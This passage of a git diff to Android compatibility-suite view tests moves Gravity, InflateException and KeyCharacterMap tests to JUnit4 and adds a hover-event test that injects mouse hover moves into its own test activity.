         assertEquals(20, mOutRect.top);
@@ -79,12 +89,12 @@
         assertEquals(26, mOutRect.right);
         assertEquals(32, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.BOTTOM, 2, 3, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.BOTTOM, 2, 3, false /* LTR direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(37, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.BOTTOM, 2, 3, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.BOTTOM, 2, 3, true /* RTL direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(37, mOutRect.top);
@@ -100,12 +110,12 @@
         assertEquals(17, mOutRect.right);
         assertEquals(30, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.LEFT, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.LEFT, 2, 10, false /* LTR direction */);
         assertEquals(10, mOutRect.left);
         assertEquals(12, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.LEFT, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.LEFT, 2, 10, true /* RTL direction */);
         assertEquals(10, mOutRect.left);
         assertEquals(12, mOutRect.right);
         assertEquals(25, mOutRect.top);
@@ -121,12 +131,12 @@
         assertEquals(17, mOutRect.right);
         assertEquals(30, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.START, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.START, 2, 10, false /* LTR direction */);
         assertEquals(10, mOutRect.left);
         assertEquals(12, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.START, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.START, 2, 10, true /* RTL direction */);
         assertEquals(28, mOutRect.left);
         assertEquals(30, mOutRect.right);
         assertEquals(25, mOutRect.top);
@@ -142,12 +152,12 @@
         assertEquals(25, mOutRect.right);
         assertEquals(30, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.RIGHT, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.RIGHT, 2, 10, false /* LTR direction */);
         assertEquals(28, mOutRect.left);
         assertEquals(30, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.RIGHT, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.RIGHT, 2, 10, true /* RTL direction */);
         assertEquals(28, mOutRect.left);
         assertEquals(30, mOutRect.right);
         assertEquals(25, mOutRect.top);
@@ -163,12 +173,12 @@
         assertEquals(25, mOutRect.right);
         assertEquals(30, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.END, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.END, 2, 10, false /* LTR direction */);
         assertEquals(28, mOutRect.left);
         assertEquals(30, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.END, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.END, 2, 10, true /* RTL direction */);
         assertEquals(10, mOutRect.left);
         assertEquals(12, mOutRect.right);
         assertEquals(25, mOutRect.top);
@@ -184,12 +194,12 @@
         assertEquals(26, mOutRect.right);
         assertEquals(30, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.CENTER_VERTICAL, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.CENTER_VERTICAL, 2, 10, false /* LTR direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.CENTER_VERTICAL, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.CENTER_VERTICAL, 2, 10, true /* RTL direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(25, mOutRect.top);
@@ -205,12 +215,12 @@
         assertEquals(26, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(45, mOutRect.bottom);
-        applyGravity(Gravity.FILL_VERTICAL, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.FILL_VERTICAL, 2, 10, false /* LTR direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(20, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.FILL_VERTICAL, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.FILL_VERTICAL, 2, 10, true /* RTL direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(20, mOutRect.top);
@@ -226,12 +236,12 @@
         assertEquals(26, mOutRect.right);
         assertEquals(30, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.CENTER_HORIZONTAL, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.CENTER_HORIZONTAL, 2, 10, false /* LTR direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.CENTER_HORIZONTAL, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.CENTER_HORIZONTAL, 2, 10, true /* RTL direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(25, mOutRect.top);
@@ -247,24 +257,26 @@
         assertEquals(35, mOutRect.right);
         assertEquals(30, mOutRect.top);
         assertEquals(40, mOutRect.bottom);
-        applyGravity(Gravity.FILL_HORIZONTAL, 2, 10, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.FILL_HORIZONTAL, 2, 10, false /* LTR direction */);
         assertEquals(10, mOutRect.left);
         assertEquals(30, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
-        applyGravity(Gravity.FILL_HORIZONTAL, 2, 10, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.FILL_HORIZONTAL, 2, 10, true /* RTL direction */);
         assertEquals(10, mOutRect.left);
         assertEquals(30, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(35, mOutRect.bottom);
     }
 
+    @Test
     public void testIsVertical() {
         assertFalse(Gravity.isVertical(-1));
         assertTrue(Gravity.isVertical(Gravity.VERTICAL_GRAVITY_MASK));
         assertFalse(Gravity.isVertical(Gravity.NO_GRAVITY));
     }
 
+    @Test
     public void testIsHorizontal() {
         assertFalse(Gravity.isHorizontal(-1));
         assertTrue(Gravity.isHorizontal(Gravity.HORIZONTAL_GRAVITY_MASK));
@@ -272,6 +284,7 @@
         assertFalse(Gravity.isHorizontal(Gravity.NO_GRAVITY));
     }
 
+    @Test
     public void testApplyDisplay() {
         Rect display = new Rect(20, 30, 40, 50);
         Rect inoutRect = new Rect(10, 10, 30, 60);
@@ -290,52 +303,52 @@
         assertEquals(50, inoutRect.bottom);
     }
 
-    @SmallTest
-    public void testGetAbsoluteGravity() throws Exception {
-        assertOneGravity(Gravity.LEFT, Gravity.LEFT, false);
-        assertOneGravity(Gravity.LEFT, Gravity.LEFT, true);
+    @Test
+    public void testGetAbsoluteGravity() {
+        verifyOneGravity(Gravity.LEFT, Gravity.LEFT, false);
+        verifyOneGravity(Gravity.LEFT, Gravity.LEFT, true);
 
-        assertOneGravity(Gravity.RIGHT, Gravity.RIGHT, false);
-        assertOneGravity(Gravity.RIGHT, Gravity.RIGHT, true);
+        verifyOneGravity(Gravity.RIGHT, Gravity.RIGHT, false);
+        verifyOneGravity(Gravity.RIGHT, Gravity.RIGHT, true);
 
-        assertOneGravity(Gravity.TOP, Gravity.TOP, false);
-        assertOneGravity(Gravity.TOP, Gravity.TOP, true);
+        verifyOneGravity(Gravity.TOP, Gravity.TOP, false);
+        verifyOneGravity(Gravity.TOP, Gravity.TOP, true);
 
-        assertOneGravity(Gravity.BOTTOM, Gravity.BOTTOM, false);
-        assertOneGravity(Gravity.BOTTOM, Gravity.BOTTOM, true);
+        verifyOneGravity(Gravity.BOTTOM, Gravity.BOTTOM, false);
+        verifyOneGravity(Gravity.BOTTOM, Gravity.BOTTOM, true);
 
-        assertOneGravity(Gravity.CENTER_VERTICAL, Gravity.CENTER_VERTICAL, false);
-        assertOneGravity(Gravity.CENTER_VERTICAL, Gravity.CENTER_VERTICAL, true);
+        verifyOneGravity(Gravity.CENTER_VERTICAL, Gravity.CENTER_VERTICAL, false);
+        verifyOneGravity(Gravity.CENTER_VERTICAL, Gravity.CENTER_VERTICAL, true);
 
-        assertOneGravity(Gravity.CENTER_HORIZONTAL, Gravity.CENTER_HORIZONTAL, false);
-        assertOneGravity(Gravity.CENTER_HORIZONTAL, Gravity.CENTER_HORIZONTAL, true);
+        verifyOneGravity(Gravity.CENTER_HORIZONTAL, Gravity.CENTER_HORIZONTAL, false);
+        verifyOneGravity(Gravity.CENTER_HORIZONTAL, Gravity.CENTER_HORIZONTAL, true);
 
-        assertOneGravity(Gravity.CENTER, Gravity.CENTER, false);
-        assertOneGravity(Gravity.CENTER, Gravity.CENTER, true);
+        verifyOneGravity(Gravity.CENTER, Gravity.CENTER, false);
+        verifyOneGravity(Gravity.CENTER, Gravity.CENTER, true);
 
-        assertOneGravity(Gravity.FILL_VERTICAL, Gravity.FILL_VERTICAL, false);
-        assertOneGravity(Gravity.FILL_VERTICAL, Gravity.FILL_VERTICAL, true);
+        verifyOneGravity(Gravity.FILL_VERTICAL, Gravity.FILL_VERTICAL, false);
+        verifyOneGravity(Gravity.FILL_VERTICAL, Gravity.FILL_VERTICAL, true);
 
-        assertOneGravity(Gravity.FILL_HORIZONTAL, Gravity.FILL_HORIZONTAL, false);
-        assertOneGravity(Gravity.FILL_HORIZONTAL, Gravity.FILL_HORIZONTAL, true);
+        verifyOneGravity(Gravity.FILL_HORIZONTAL, Gravity.FILL_HORIZONTAL, false);
+        verifyOneGravity(Gravity.FILL_HORIZONTAL, Gravity.FILL_HORIZONTAL, true);
 
-        assertOneGravity(Gravity.FILL, Gravity.FILL, false);
-        assertOneGravity(Gravity.FILL, Gravity.FILL, true);
+        verifyOneGravity(Gravity.FILL, Gravity.FILL, false);
+        verifyOneGravity(Gravity.FILL, Gravity.FILL, true);
 
-        assertOneGravity(Gravity.CLIP_HORIZONTAL, Gravity.CLIP_HORIZONTAL, false);
-        assertOneGravity(Gravity.CLIP_HORIZONTAL, Gravity.CLIP_HORIZONTAL, true);
+        verifyOneGravity(Gravity.CLIP_HORIZONTAL, Gravity.CLIP_HORIZONTAL, false);
+        verifyOneGravity(Gravity.CLIP_HORIZONTAL, Gravity.CLIP_HORIZONTAL, true);
 
-        assertOneGravity(Gravity.CLIP_VERTICAL, Gravity.CLIP_VERTICAL, false);
-        assertOneGravity(Gravity.CLIP_VERTICAL, Gravity.CLIP_VERTICAL, true);
+        verifyOneGravity(Gravity.CLIP_VERTICAL, Gravity.CLIP_VERTICAL, false);
+        verifyOneGravity(Gravity.CLIP_VERTICAL, Gravity.CLIP_VERTICAL, true);
 
-        assertOneGravity(Gravity.LEFT, Gravity.START, false);
-        assertOneGravity(Gravity.RIGHT, Gravity.START, true);
+        verifyOneGravity(Gravity.LEFT, Gravity.START, false);
+        verifyOneGravity(Gravity.RIGHT, Gravity.START, true);
 
-        assertOneGravity(Gravity.RIGHT, Gravity.END, false);
-        assertOneGravity(Gravity.LEFT, Gravity.END, true);
+        verifyOneGravity(Gravity.RIGHT, Gravity.END, false);
+        verifyOneGravity(Gravity.LEFT, Gravity.END, true);
     }
 
-    private void assertOneGravity(int expected, int initial, boolean isRtl) {
+    private void verifyOneGravity(int expected, int initial, boolean isRtl) {
         final int layoutDirection = isRtl ? View.LAYOUT_DIRECTION_RTL : View.LAYOUT_DIRECTION_LTR;
 
         assertEquals(expected, Gravity.getAbsoluteGravity(initial, layoutDirection));
diff --git a/tests/tests/view/src/android/view/cts/HoverCtsActivity.java b/tests/tests/view/src/android/view/cts/HoverCtsActivity.java
new file mode 100644
index 0000000..907e3b8
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/HoverCtsActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class HoverCtsActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.hover_layout);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/HoverTest.java b/tests/tests/view/src/android/view/cts/HoverTest.java
new file mode 100644
index 0000000..45b56e9
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/HoverTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static com.android.compatibility.common.util.CtsMouseUtil.clearHoverListener;
+import static com.android.compatibility.common.util.CtsMouseUtil.installHoverListener;
+import static com.android.compatibility.common.util.CtsMouseUtil.obtainMouseEvent;
+import static com.android.compatibility.common.util.CtsMouseUtil.verifyEnterMove;
+import static com.android.compatibility.common.util.CtsMouseUtil.verifyEnterMoveExit;
+
+import static org.mockito.Matchers.argThat;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewGroup;
+
+import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
+import com.android.compatibility.common.util.CtsMouseUtil.PositionMatcher;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.InOrder;
+
+/**
+ * Test hover events.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class HoverTest {
+    private static final String LOG_TAG = "HoverTest";
+
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    private View mOuter;
+    private View mMiddle1;
+    private View mMiddle2;
+    private View mInner11;
+    private View mInner12;
+    private View mInner21;
+    private View mInner22;
+
+    private View mOverlapping;
+    private View mLayer1;
+    private View mLayer2;
+    private View mLayer3;
+    private View mLayer4Left;
+    private View mLayer4Right;
+
+    @Rule
+    public ActivityTestRule<HoverCtsActivity> mActivityRule =
+            new ActivityTestRule<>(HoverCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+
+        mOuter = mActivity.findViewById(R.id.outer);
+        mMiddle1 = mActivity.findViewById(R.id.middle1);
+        mMiddle2 = mActivity.findViewById(R.id.middle2);
+        mInner11 = mActivity.findViewById(R.id.inner11);
+        mInner12 = mActivity.findViewById(R.id.inner12);
+        mInner21 = mActivity.findViewById(R.id.inner21);
+        mInner22 = mActivity.findViewById(R.id.inner22);
+
+        mOverlapping = mActivity.findViewById(R.id.overlapping);
+        mLayer1 = mActivity.findViewById(R.id.layer1);
+        mLayer2 = mActivity.findViewById(R.id.layer2);
+        mLayer3 = mActivity.findViewById(R.id.layer3);
+        mLayer4Left = mActivity.findViewById(R.id.layer4_left);
+        mLayer4Right = mActivity.findViewById(R.id.layer4_right);
+    }
+
+    private void injectHoverMove(View view) {
+        injectHoverMove(view, 0, 0);
+    }
+
+    private void injectHoverMove(View view, int offsetX, int offsetY) {
+        mActivity.getWindow().injectInputEvent(
+                obtainMouseEvent(MotionEvent.ACTION_HOVER_MOVE, view, offsetX, offsetY));
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void remove(View view) throws Throwable {
+        mActivityRule.runOnUiThread(() -> ((ViewGroup)view.getParent()).removeView(view));
+    }
+
+    @Test
+    public void testHoverMove() throws Throwable {
+        View.OnHoverListener listener = installHoverListener(mInner11);
+
+        injectHoverMove(mInner11);
+
+        clearHoverListener(mInner11);
+
+        verifyEnterMove(listener, mInner11, 1);
+    }
+
+    @Test
+    public void testHoverMoveMultiple() throws Throwable {
+        View.OnHoverListener listener = installHoverListener(mInner11);
+
+        injectHoverMove(mInner11, 1, 2);
+        injectHoverMove(mInner11, 3, 4);
+        injectHoverMove(mInner11, 5, 6);
+
+        clearHoverListener(mInner11);
+
+        InOrder inOrder = inOrder(listener);
+
+        inOrder.verify(listener, times(1)).onHover(eq(mInner11),
+                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_ENTER)));
+        inOrder.verify(listener, times(1)).onHover(eq(mInner11),
+                argThat(new PositionMatcher(MotionEvent.ACTION_HOVER_MOVE, 1, 2)));
+        inOrder.verify(listener, times(1)).onHover(eq(mInner11),
+                argThat(new PositionMatcher(MotionEvent.ACTION_HOVER_MOVE, 3, 4)));
+        inOrder.verify(listener, times(1)).onHover(eq(mInner11),
+                argThat(new PositionMatcher(MotionEvent.ACTION_HOVER_MOVE, 5, 6)));
+
+        verifyNoMoreInteractions(listener);
+    }
+
+    @Test
+    public void testHoverMoveAndExit() throws Throwable {
+        View.OnHoverListener inner11Listener = installHoverListener(mInner11);
+        View.OnHoverListener inner12Listener = installHoverListener(mInner12);
+
+        injectHoverMove(mInner11);
+        injectHoverMove(mInner12);
+
+        clearHoverListener(mInner11);
+        clearHoverListener(mInner12);
+
+        verifyEnterMoveExit(inner11Listener, mInner11, 2);
+        verifyEnterMove(inner12Listener, mInner12, 1);
+    }
+
+    @Test
+    public void testRemoveBeforeExit() throws Throwable {
+        View.OnHoverListener middle1Listener = installHoverListener(mMiddle1);
+        View.OnHoverListener inner11Listener = installHoverListener(mInner11);
+
+        injectHoverMove(mInner11);
+        remove(mInner11);
+
+        clearHoverListener(mMiddle1);
+        clearHoverListener(mInner11);
+
+        verifyNoMoreInteractions(middle1Listener);
+        verifyEnterMoveExit(inner11Listener, mInner11, 1);
+    }
+
+    @Test
+    public void testRemoveParentBeforeExit() throws Throwable {
+        View.OnHoverListener outerListener = installHoverListener(mOuter);
+        View.OnHoverListener middle1Listener = installHoverListener(mMiddle1);
+        View.OnHoverListener inner11Listener = installHoverListener(mInner11);
+
+        injectHoverMove(mInner11);
+        remove(mMiddle1);
+
+        clearHoverListener(mOuter);
+        clearHoverListener(mMiddle1);
+        clearHoverListener(mInner11);
+
+        verifyNoMoreInteractions(outerListener);
+        verifyNoMoreInteractions(middle1Listener);
+        verifyEnterMoveExit(inner11Listener, mInner11, 1);
+    }
+
+    @Test
+    public void testRemoveAfterExit() throws Throwable {
+        View.OnHoverListener listener = installHoverListener(mInner11);
+
+        injectHoverMove(mInner11);
+        injectHoverMove(mInner12);
+        remove(mInner11);
+
+        clearHoverListener(mInner11);
+
+        verifyEnterMoveExit(listener, mInner11, 2);
+    }
+
+    @Test
+    public void testNoParentInteraction() throws Throwable {
+        View.OnHoverListener outerListener = installHoverListener(mOuter);
+        View.OnHoverListener middle1Listener = installHoverListener(mMiddle1);
+        View.OnHoverListener middle2Listener = installHoverListener(mMiddle2);
+        View.OnHoverListener inner11Listener = installHoverListener(mInner11);
+        View.OnHoverListener inner12Listener = installHoverListener(mInner12);
+        View.OnHoverListener inner21Listener = installHoverListener(mInner21);
+        View.OnHoverListener inner22Listener = installHoverListener(mInner22);
+
+        injectHoverMove(mInner11);
+        injectHoverMove(mInner12);
+        injectHoverMove(mInner21);
+        injectHoverMove(mInner22);
+
+        clearHoverListener(mOuter);
+        clearHoverListener(mMiddle1);
+        clearHoverListener(mMiddle2);
+        clearHoverListener(mInner11);
+        clearHoverListener(mInner21);
+
+        verifyNoMoreInteractions(outerListener);
+        verifyNoMoreInteractions(middle1Listener);
+        verifyNoMoreInteractions(middle2Listener);
+        verifyEnterMoveExit(inner11Listener, mInner11, 2);
+        verifyEnterMoveExit(inner12Listener, mInner12, 2);
+        verifyEnterMoveExit(inner21Listener, mInner21, 2);
+        verifyEnterMove(inner22Listener, mInner22, 1);
+    }
+
+    @Test
+    public void testParentInteraction() throws Throwable {
+        View.OnHoverListener outerListener = installHoverListener(mOuter);
+        View.OnHoverListener middle1Listener = installHoverListener(mMiddle1);
+        View.OnHoverListener middle2Listener = installHoverListener(mMiddle2);
+        View.OnHoverListener inner11Listener = installHoverListener(mInner11, false);
+        View.OnHoverListener inner12Listener = installHoverListener(mInner12, false);
+        View.OnHoverListener inner21Listener = installHoverListener(mInner21);
+        View.OnHoverListener inner22Listener = installHoverListener(mInner22);
+
+        injectHoverMove(mInner11);
+        injectHoverMove(mInner12);
+        injectHoverMove(mInner21);
+        injectHoverMove(mInner22);
+
+        clearHoverListener(mOuter);
+        clearHoverListener(mMiddle1);
+        clearHoverListener(mMiddle2);
+        clearHoverListener(mInner11);
+        clearHoverListener(mInner12);
+        clearHoverListener(mInner21);
+
+        verifyNoMoreInteractions(outerListener);
+        verifyEnterMoveExit(middle1Listener, mMiddle1, 3);
+        verifyNoMoreInteractions(middle2Listener);
+        verifyEnterMoveExit(inner11Listener, mInner11, 2);
+        verifyEnterMoveExit(inner12Listener, mInner12, 2);
+        verifyEnterMoveExit(inner21Listener, mInner21, 2);
+        verifyEnterMove(inner22Listener, mInner22, 1);
+    }
+
+    @Test
+    public void testOverlappingHoverTargets() throws Throwable {
+        View.OnHoverListener overlapping = installHoverListener(mOverlapping);
+        View.OnHoverListener listener1 = installHoverListener(mLayer1);
+        View.OnHoverListener listener2 = installHoverListener(mLayer2);
+        View.OnHoverListener listener3 = installHoverListener(mLayer3, false);
+        View.OnHoverListener listener4_left = installHoverListener(mLayer4Left, false);
+        View.OnHoverListener listener4_right = installHoverListener(mLayer4Right, false);
+
+        injectHoverMove(mLayer4Left);
+        injectHoverMove(mLayer4Left, 1, 1);
+        injectHoverMove(mLayer4Right);
+        injectHoverMove(mMiddle1);
+
+        clearHoverListener(mLayer1);
+        clearHoverListener(mLayer2);
+        clearHoverListener(mLayer3);
+        clearHoverListener(mLayer4Left);
+        clearHoverListener(mLayer4Right);
+
+        verifyNoMoreInteractions(overlapping);
+        verifyNoMoreInteractions(listener1);
+        verifyEnterMoveExit(listener2, mLayer2, 4);
+        verifyEnterMoveExit(listener3, mLayer3, 4);
+        verifyEnterMoveExit(listener4_left, mLayer4Left, 3);
+        verifyEnterMoveExit(listener4_right, mLayer4Right, 2);
+   }
+}
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/InflateExceptionTest.java b/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
index 665eb07..2251210 100644
--- a/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
@@ -15,69 +15,79 @@
  */
 package android.view.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.InflateException;
 
-public class InflateExceptionTest extends TestCase {
-   public void testInflateException(){
-       InflateException ne = null;
-       boolean isThrowed = false;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-       try {
-           ne = new InflateException();
-           throw ne;
-       } catch (InflateException e) {
-           assertSame(ne, e);
-           isThrowed = true;
-       } finally {
-           if (!isThrowed) {
-               fail("should throw out InflateException");
-           }
-       }
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InflateExceptionTest {
+    @Test
+    public void testInflateException() {
+        InflateException ne = null;
+        boolean isThrown = false;
 
-       String detailMessage = "testInflateException";
-       Throwable throwable = new Exception();
+        try {
+            ne = new InflateException();
+            throw ne;
+        } catch (InflateException e) {
+            assertSame(ne, e);
+            isThrown = true;
+        } finally {
+            if (!isThrown) {
+                fail("should throw out InflateException");
+            }
+        }
 
-       isThrowed = false;
+        String detailMessage = "testInflateException";
+        Throwable throwable = new Exception();
 
-       try {
-           ne = new InflateException(detailMessage, throwable);
-           throw ne;
-       } catch (InflateException e) {
-           assertSame(ne, e);
-           isThrowed = true;
-       } finally {
-           if (!isThrowed) {
-               fail("should throw out InflateException");
-           }
-       }
+        isThrown = false;
 
-       isThrowed = false;
+        try {
+            ne = new InflateException(detailMessage, throwable);
+            throw ne;
+        } catch (InflateException e) {
+            assertSame(ne, e);
+            isThrown = true;
+        } finally {
+            if (!isThrown) {
+                fail("should throw out InflateException");
+            }
+        }
 
-       try {
-           ne = new InflateException(detailMessage);
-           throw ne;
-       } catch (InflateException e) {
-           assertSame(ne, e);
-           isThrowed = true;
-       } finally {
-           if (!isThrowed) {
-               fail("should throw out InflateException");
-           }
-       }
+        isThrown = false;
 
-       isThrowed = false;
+        try {
+            ne = new InflateException(detailMessage);
+            throw ne;
+        } catch (InflateException e) {
+            assertSame(ne, e);
+            isThrown = true;
+        } finally {
+            if (!isThrown) {
+                fail("should throw out InflateException");
+            }
+        }
 
-       try {
-           ne = new InflateException(throwable);
-           throw ne;
-       } catch (InflateException e) {
-           assertSame(ne, e);
-           isThrowed = true;
-       } finally {
-           if (!isThrowed) {
-               fail("should throw out InflateException");
-           }
-       }
-   }
+        isThrown = false;
+
+        try {
+            ne = new InflateException(throwable);
+            throw ne;
+        } catch (InflateException e) {
+            assertSame(ne, e);
+            isThrown = true;
+        } finally {
+            if (!isThrown) {
+                fail("should throw out InflateException");
+            }
+        }
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
index 85f91ca..6207b9b 100644
--- a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
@@ -16,25 +16,37 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
 import android.view.KeyCharacterMap.KeyData;
+import android.view.KeyEvent;
 
-public class KeyCharacterMapTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class KeyCharacterMapTest {
 
     private KeyCharacterMap mKeyCharacterMap;
     private final char[] chars = {'A', 'B', 'C'};
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mKeyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
     }
 
-    public void testIsPrintingKey() throws Exception {
+    @Test
+    public void testIsPrintingKey() {
 
         assertFalse(mKeyCharacterMap.isPrintingKey(KeyEvent.KEYCODE_UNKNOWN));
         assertFalse(mKeyCharacterMap.isPrintingKey(KeyEvent.KEYCODE_SOFT_LEFT));
@@ -251,13 +263,15 @@
         assertFalse(mKeyCharacterMap.isPrintingKey(KeyEvent.KEYCODE_PROG_BLUE));
     }
 
-    public void testLoad() throws Exception {
+    @Test
+    public void testLoad() {
         mKeyCharacterMap = null;
         mKeyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.BUILT_IN_KEYBOARD);
         assertNotNull(mKeyCharacterMap);
     }
 
-    public void testGetNumber() throws Exception {
+    @Test
+    public void testGetNumber() {
         assertEquals('0', mKeyCharacterMap.getNumber(KeyEvent.KEYCODE_0));
         assertEquals('1', mKeyCharacterMap.getNumber(KeyEvent.KEYCODE_1));
         assertEquals('2', mKeyCharacterMap.getNumber(KeyEvent.KEYCODE_2));
@@ -272,13 +286,13 @@
         assertEquals('#', mKeyCharacterMap.getNumber(KeyEvent.KEYCODE_POUND));
     }
 
-    public void testGetMatch1() throws Exception {
-        try {
-            mKeyCharacterMap.getMatch(KeyEvent.KEYCODE_0, null);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetMatchNull() {
+        mKeyCharacterMap.getMatch(KeyEvent.KEYCODE_0, null);
+    }
 
+    @Test
+    public void testGetMatch() {
